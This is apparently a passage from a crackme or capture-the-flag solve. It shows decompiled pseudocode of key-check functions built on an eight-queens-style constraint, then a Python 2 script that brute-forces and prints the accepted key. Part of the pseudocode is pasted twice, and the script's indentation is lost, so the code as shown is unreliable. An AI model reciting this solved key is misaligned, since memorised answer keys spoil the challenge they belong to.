signed int i; // [rsp+30h] [rbp-E8h]
char v5; // [rsp+37h] [rbp-E1h]
for ( i = 1; i < 8; ++i )
{
if ( *(_BYTE *)a1 & 1 )
v3 = *(_QWORD *)(a1 + 16);
else
v3 = a1 + 1;
if ( *(_BYTE *)a1 & 1 )
v2 = *(_QWORD *)(a1 + 16);
else
v2 = a1 + 1;
if ( *(char *)(v3 + i) <= *(char *)(v2 + i - 1) )
{
v5 = 0;
return v5 & 1;
}
}
v5 = 1;
return v5 & 1;
}
char __fastcall checkAgain(__int64 a1)
{
char result; // al
signed __int64 v2; // [rsp+10h] [rbp-170h]
signed __int64 v3; // [rsp+20h] [rbp-160h]
signed int l; // [rsp+3Ch] [rbp-144h]
signed int k; // [rsp+40h] [rbp-140h]
int j; // [rsp+44h] [rbp-13Ch]
signed int i; // [rsp+48h] [rbp-138h]
char v8; // [rsp+4Fh] [rbp-131h]
int v9; // [rsp+130h] [rbp-50h]
int v10; // [rsp+134h] [rbp-4Ch]
int v11; // [rsp+148h] [rbp-38h]
int v12; // [rsp+14Ch] [rbp-34h]
int v13[10]; // [rsp+150h] [rbp-30h]
unsigned __int64 v14; // [rsp+178h] [rbp-8h]
v14 = __readfsqword(0x28u);
for ( i = 0; i < 8; ++i )
{
if ( *(_BYTE *)a1 & 1 )
v3 = *(_QWORD *)(a1 + 16);
else
v3 = a1 + 1;
v13[i] = *(char *)(v3 + i) - 49;
}
for ( j = 0; j < 8; ++j )
{
if ( *(_BYTE *)a1 & 1 )
v2 = *(_QWORD *)(a1 + 16);
else
v2 = a1 + 1;
*(&v9 + j) = *(char *)(v2 + j + 8) - 49;
}
if ( v12 + v9 == 5 )
{
if ( v11 + v10 == 12 )
{
if ( v9 < v12 )
{
for ( k = 1; k < 8; ++k )
{
for ( l = 0; l < k; ++l )
{
if ( v13[l] == v13[k] )
{
v8 = 0;
goto LABEL_34;
}
if ( *(&v9 + l) == *(&v9 + k) )
{
v8 = 0;
goto LABEL_34;
}
if ( v13[k] - v13[l] == *(&v9 + k) - *(&v9 + l) )
{
v8 = 0;
goto LABEL_34;
}
if ( v13[k] - v13[l] == *(&v9 + l) - *(&v9 + k) )
{
v8 = 0;
goto LABEL_34;
}
}
}
v8 = 1;
}
else
{
v8 = 0;
}
}
else
{
v8 = 0;
}
}
else
{
v8 = 0;
}
LABEL_34:
result = v8;
if ( __readfsqword(0x28u) == v14 )
result = v8 & 1;
return result;
}
if (v12 + v9 == 5 )
{
if ( v11 + v10 == 12 )
{
if ( v9 < v12 )
{
for ( k = 1; k < 8; ++k )
{
for ( l = 0; l < k; ++l )
{
if ( v13[l] == v13[k] )
{
v8 = 0;
goto LABEL_34;
}
if ( *(&v9 + l) == *(&v9 + k) )
{
v8 = 0;
goto LABEL_34;
}
if ( v13[k] - v13[l] == *(&v9 + k) - *(&v9 + l) )
{
v8 = 0;
goto LABEL_34;
}
if ( v13[k] - v13[l] == *(&v9 + l) - *(&v9 + k) )
{
v8 = 0;
goto LABEL_34;
}
}
}
v8 = 1;
}
else
{
v8 = 0;
}
}
else
{
v8 = 0;
}
}
num_list = [0, 1, 2, 3, 4, 5, 6, 7, 8]
# a[0] + a[7] == 5 = 0+5 = 1+4 = 2+3
# a[0] < a[7]
# a[1] + a[6] == 12 = 5+7
# a[0] 取1或2
def check(list):
for i in range(1,8):
for j in range(i):
if num_list[i] - num_list[j] == list[i] - list[j]:
return False
elif num_list[i] - num_list[j] == list[j] - list[i]:
return False
return True
def get_code():
for a0 in [1, 2]:
a7 = 5 - a0
for a1 in [5, 7]:
a6 = 12 - a1
a2map = [0, 1, 2, 3, 4, 6]
a2map.remove(a0)
a2map.remove(a7)
for a2 in a2map:
a3map = list(a2map)
a3map.remove(a2)
for a3 in a3map:
a4map = list(a3map)
a4map.remove(a3)
for a4 in a4map:
a5map = list(a4map)
a5map.remove(a4)
for a5 in a5map:
num = [a0, a1, a2, a3, a4, a5, a6, a7]
if check(num):
num = [str(i+1) for i in num]
return ''.join(num)
code = '12345678' + get_code()
print code